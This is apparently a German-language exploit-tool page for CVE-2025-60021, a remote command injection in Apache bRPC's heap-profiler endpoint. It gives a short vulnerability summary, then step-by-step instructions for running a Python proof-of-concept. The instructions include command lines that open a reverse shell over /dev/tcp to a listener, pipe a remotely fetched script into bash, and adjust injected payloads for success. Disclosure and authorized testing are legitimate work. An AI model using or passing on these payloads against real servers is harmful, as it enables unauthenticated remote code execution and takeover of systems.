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Ashwesker-CVE-2025-60021 — CVE-2025-60021 | Kitploit
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Ashwesker-CVE-2025-60021

CVE-2025-60021

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28vor 8 MonatenNoch nicht geprüft

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🛑 CVE-2025-60021 — Remote-Befehlsinjektion in Apache bRPC

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📌 Überblick

CVE-2025-60021 ist eine kritische Remote-Befehlsinjektions-Schwachstelle im integrierten Heap-Profiler-Dienst (/pprof/heap) von Apache bRPC in Versionen vor 1.15.0, die es nicht authentifizierten Angreifern ermöglicht, beliebige Betriebssystembefehle auszuführen. ([NVD][1])


🔓 Schwachstellendetails

AttributInformationen
Name / IDCVE-2025-60021
ProduktApache bRPC (alle Plattformen)
Betroffene Versionen< 1.15.0
Veröffentlichungsdatum16. Januar 2026 ([NVD][1])
SchwachstellentypRemote-Befehlsinjektion (CWE-77) ([NVD][1])
Endpunkt/pprof/heap
AuslöserUnbereinigter extra_options-Parameter
UrsacheEingabe wird vor der Ausführung als Betriebssystembefehl nicht validiert ([openwall.com][2])

❗Angreifer können durch bloßes Manipulieren dieses Profiling-Parameters remote Befehle einschleusen.


🚨 Schweregrad & Risiko

🔥 Schweregrad: Kritisch 📊 CVSS v3.1-Basiswert: 9,8 / 10 Vektor: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H ([INCIBE][3])

AuswirkungskategorieAuswirkung
VertraulichkeitHoch
IntegritätHoch
VerfügbarkeitHoch
AngriffsvektorNetzwerk
BerechtigungenKeine erforderlich
BenutzerinteraktionKeine nötig([INCIBE][3])

👉 Das bedeutet, Angreifer können ohne Anmeldung remote beliebige Befehle ausführen – ein Worst-Case-Szenario für exponierte Dienste.


🧠 Technische Aufschlüsselung

🔍 Wie es funktioniert

  1. Heap-Profiler-Exposition: bRPC stellt einen Profiling-Endpunkt (/pprof/heap) bereit, der für die Speicheranalyse (jemalloc) gedacht ist. ([openwall.com][2])
  2. Fehler bei der Eingabebehandlung: Der Endpunkt akzeptiert einen extra_options-Parameter. Statt ihn zu bereinigen, übergibt bRPC ihn direkt an die Betriebssystem-Shell. ([openwall.com][2])
  3. Befehlsinjektion: Ein Angreifer erstellt eine Eingabe, die Systembefehle enthält → der Dienst führt sie aus. ([CVE Details][4])

Schritt-für-Schritt-Anleitung zur Verwendung des CVE-2025-60021-PoC-Skripts

Dies setzt voraus, dass du das Skript als CVE-2025-60021.py gespeichert hast (auch wenn die echte CVE die 2025-60021 ist – du kannst es gerne umbenennen). Es ist ein Python-3-Skript zur Demonstration der Remote-Befehlsinjektions-Schwachstelle im Heap-Profiler von Apache bRPC. Führe es nur auf Systemen aus, die dir gehören oder für die du eine ausdrückliche schriftliche Testgenehmigung hast – Ausnutzung ohne Autorisierung ist illegal.

Voraussetzungen

  1. Python-Umgebung: Stelle sicher, dass Python 3 installiert ist (z. B. 3.6+). Das Skript verwendet eingebaute Module sowie requests und argparse (die Standard sind bzw. einfach zu installieren).

  2. Abhängigkeiten installieren: Falls noch nicht vorhanden, installiere die requests-Bibliothek:

    pip install requests
    
  3. Ziel einrichten: Du benötigst einen verwundbaren Apache-bRPC-Server:

    • Version < 1.15.0.
    • Heap-Profiler aktiviert (prüfe die Serverkonfiguration; in Entwicklungsumgebungen ist er oft standardmäßig aktiviert).
    • Über das Netzwerk erreichbar (z. B. http://localhost:8060 oder eine entfernte IP/Port). Wenn du lokal testest, richte eine verwundbare bRPC-Instanz ein (z. B. über Docker oder einen Quellcode-Build – siehe Apache-bRPC-Dokumentation).
  4. Berechtigungen: Verwende sudo nur, wenn es für den Netzwerkzugriff oder Berechtigungen nötig ist; andernfalls reicht einfaches python3.

Schritt 1: Skript speichern

Kopiere den zuvor bereitgestellten PoC-Code in eine Datei mit dem Namen CVE-2025-60021.py. Mache sie bei Bedarf ausführbar:

chmod +x CVE-2025-60021.py

Schritt 2: Argumente verstehen

Das Skript benötigt zwei positionsbasierte Pflichtargumente:

  • target: Die URL des verwundbaren bRPC-Servers (z. B. http://192.168.1.100:8060 oder http://targets:8060 – korrigiere Tippfehler wie fehlendes Schema oder ungültigen Host).
  • cmd: Der Befehl, der auf dem Ziel ausgeführt werden soll (z. B. "id" für Benutzerinformationen oder etwas Komplexeres wie "curl http://your-server/reverse-shell.sh | bash" für eine Reverse Shell). Verwende && oder ;, um mehrere Befehle zu verketten.

Schritt 3: Skript ausführen

Öffne ein Terminal (z. B. in Kali Linux, da du das verwendest) und führe es mit deinem Ziel und Befehl aus. Beispielbefehle:

  • Basistest (Systeminformationen abrufen):

    sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
    
  • Reverse-Shell-Beispiel (ersetze your-listener-ip und Port; richte zuerst einen Listener wie nc -lvnp 4444 ein):

    sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
    
  • Wenn du HTTPS oder einen anderen Port verwendest, passe die URL entsprechend an (z. B. https://target:443 – das Skript kommt damit klar, aber füge bei Zertifikatsproblemen --insecure hinzu).

Schritt 4: Ausgabe interpretieren

Erfolgsindikatoren:

  • Exploit wahrscheinlich erfolgreich! (200 OK)
  • Mögliche Befehlsausgabe im Antwortkörper (z. B. uid=0(root)..., wenn id ausgeführt wurde).
  • Bei Befehlen ohne Ausgabe (z. B. Dateioperationen oder Shells) prüfe den Zielserver (Logs, Prozesse) oder deinen Listener.

Fehlerindikatoren (wie du sie gesehen hast):

  • Statuscode 404 erhalten – vielleicht nicht verwundbar?
  • Fehlermeldungen wie "[E1002] Heap profiler is not enabled" bedeuten, dass der Endpunkt nicht aktiv ist – aktiviere ihn auf dem Ziel oder finde eine andere verwundbare Instanz.
  • Timeouts oder Verbindungsfehler: Ziel nicht erreichbar, Firewall blockiert oder falscher Port.
  • Wenn keine Ausgabe durchsickert, wird der Befehl trotzdem still auf dem Server ausgeführt.

Schritt 5: Häufige Probleme beheben

  • 404-Fehler: Heap-Profiler deaktiviert. Aktiviere ihn in der bRPC-Konfiguration (z. B. --enable_heap_profiler=true) und starte den Server neu.
  • Argparse-Fehler: Das cmd-Argument vergessen – immer mit angeben.
  • Keine Antwortkörper-Ausgabe: Manche Befehle erzeugen keine Standardausgabe. Verwende solche, die eine erzeugen (z. B. echo "test" > /tmp/proof.txt) und prüfe die Datei auf dem Ziel.
  • Berechtigungen: Wenn der bRPC-Prozess nicht als root läuft, sind Befehle auf die Rechte dieses Benutzers beschränkt.
  • Payload-Anpassungen: Wenn ; nicht funktioniert, versuche && oder | zum Verketten. Kodiere Sonderzeichen bei Bedarf per URL-Encoding (das Skript erledigt das meiste).
  • Lokales Testen: Starte einen verwundbaren Docker-Container für bRPC, um ohne Risiko für echte Systeme zu testen.

Schritt 6: Bereinigung und ethische Hinweise

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